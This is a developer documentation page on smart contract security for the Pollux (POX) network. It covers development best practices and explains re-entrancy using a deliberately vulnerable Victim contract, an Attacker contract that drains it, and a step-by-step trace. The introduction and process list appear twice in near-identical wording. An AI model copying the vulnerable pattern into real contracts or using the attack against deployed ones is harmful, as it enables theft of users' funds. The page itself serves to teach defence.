Security

Smart contracts are highly versatile, capable of both holding substantial quantities of tokens and executing immutable logic based on previously deployed smart contract code. While this has fostered a dynamic and innovative ecosystem of trustless, interconnected smart contracts, it also establishes an environment that can attract attackers seeking to capitalize on vulnerabilities in smart contracts and unforeseen behaviors in the Pollux network. Smart contract code typically remains unalterable to address security flaws, making assets pilfered from smart contracts unrecoverable and challenging to trace.

Prior to deploying any code to Mainnet, it is crucial to adopt adequate precautions to safeguard anything of value entrusted to your smart contract. In this article, we will explore several specific attacks and best practices to ensure that your contracts operate accurately and securely in the PRC network.

Smart Contract Development Process

Security begins with a sound design and development process. Several considerations are crucial during the smart contract development lifecycle, and it's essential to adhere to the following:

  1. Ensure that all code is stored in a version control system, like git.

  2. Implement all code modifications through Pull Requests.

  3. Every Pull Request should undergo review by at least one designated reviewer.

  4. Utilize a single command that compiles, deploys, and runs a suite of tests on your code, leveraging a development tool such as Poxchain.

  5. Prior to merging any pull request, conduct a comprehensive analysis of your code using fundamental code analysis tools like Mythril and Slither. Ideally, perform this analysis before each pull request is merged, comparing differences in output.

  6. Verify that Solidity does not generate ANY compiler warnings during the compilation process.

  7. Thoroughly document your code to ensure clarity and understanding.

Smart contracts are extremely flexible, capable of both holding large quantities of tokens and running immutable logic based on previously deployed smart contract code. While this has created a vibrant and creative ecosystem of trustless, interconnected smart contracts, it is also the perfect ecosystem to attract attackers looking to profit by exploiting vulnerabilities in smart contracts and unexpected behavior in the POX network. Smart contract code usually cannot be changed to patch security flaws, assets that have been stolen from smart contracts are irrecoverable, and stolen assets are extremely difficult to track.

Before launching any code to Mainnet, it is important to take sufficient precaution to protect anything of value your smart contract is entrusted with. In this article, we will discuss a few specific attacks and best practices to ensure your contracts function correctly and securely.

Smart Contract Development Process

Security commences with a sound design and development process. Several considerations are crucial during the smart contract development process, but ensure, at a minimum, the following:

  1. All code is stored in a version control system, such as git.

  2. All code modifications are made via Pull Requests.

  3. All Pull Requests have at least one reviewer.

  4. A single command compiles, deploys, and runs a suite of tests against your code using a development tool, for example, tronbox.

  5. You have run your code through basic code analysis tools such as Mythril and Slither, ideally before each pull request is merged, comparing differences in output.

  6. Solidity does not emit ANY compiler warnings.

  7. Your code is well-documented.

Attacks And Vulnerabilities

Here are some common vulnerabilities :

Re-entrancy :

Re-entrancy is a substantial and noteworthy security concern to bear in mind during the development of Smart Contracts. Although the PVM cannot execute multiple contracts simultaneously, when a contract calls another contract, it halts the execution and memory state of the calling contract until the call returns. Subsequently, this interruption and resumption can give rise to a vulnerability known as "re-entrancy."

Here is a basic version of a contract susceptible to re-entrancy:

// THIS CONTRACT HAS INTENTIONAL VULNERABILITY, DO NOT COPY
contract Victim {
    mapping (address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        (bool success, ) = msg.sender.call.value(amount)("");
        require(success);
        balances[msg.sender] = 0;
    }
}

To enable a user to withdraw POX they have previously stored on the contract, the Withdraw function will perform the following steps in sequence:

  1. Retrieves the user's balance.

  2. Sends the user the balance amount in POX.

  3. Resets their balance to 0, preventing further withdrawal of the balance.

If invoked from a regular external account (such as your own Poxchain account), this functions as expected: msg.sender.call.value() simply sends POX to your account. However, smart contracts can also make calls. If a custom, malicious contract is the one calling withdraw(), msg.sender.call.value() will not only send the POX amount but also implicitly trigger the contract to start executing code. Consider the scenario of this malicious contract:

contract Attacker {
    uint count;
    function beginAttack() external payable {
        count = 5;
        Victim(VICTIM_ADDRESS).deposit.value(1 pox)();
        Victim(VICTIM_ADDRESS).withdraw();
    }

    function() external payable {
        if(count>0)
        {
            count -=1;
            Victim(VICTIM_ADDRESS).withdraw(); 
        }
            
    }
}

Invoking Attacker.beginAttack() will initiate a cycle that looks something like:

0.) Assailant's external account calls Attacker.beginAttack() with 1 POX.
0.) Attacker.beginAttack() deposits 1 POX into Victim contract: Victim.deposit.value(1 pox)();

1.) Assailant calls Victim's withdraw function: Victim.withdraw()
1.) Victim reads the caller's balance 1 POX: balances[msg.sender]
1.) Victim sends POX to Assailant, which executes the default function call of Assailant contract
   2.) In Assailant's default function -> Victim.withdraw()
   2.) Victim reads balance: balances[msg.sender]
   2.) Victim sends POX to Assailant, which executes the default function call of Assailant contract
      3.) In Assailant's default function -> Victim.withdraw()
      3.) Victim reads balance: balances[msg.sender]
      3.) Victim sends POX to Assailant, which executes the default function call of Assailant contract
         4.) For Assailant, to avoid exceeding the maximum execution time allowed by the contract, after executing several times, it discontinues further execution of withdraw and returns directly.
      3.) balances[msg.sender] = 0;
   2.) balances[msg.sender] = 0; 
1.) balances[msg.sender] = 0;

Calling Attacker.beginAttack() with 1 POX will re-entrancy attack Victim, withdrawing more POX than it provided. That is, Assailant takes POX from other users' balances.

Last updated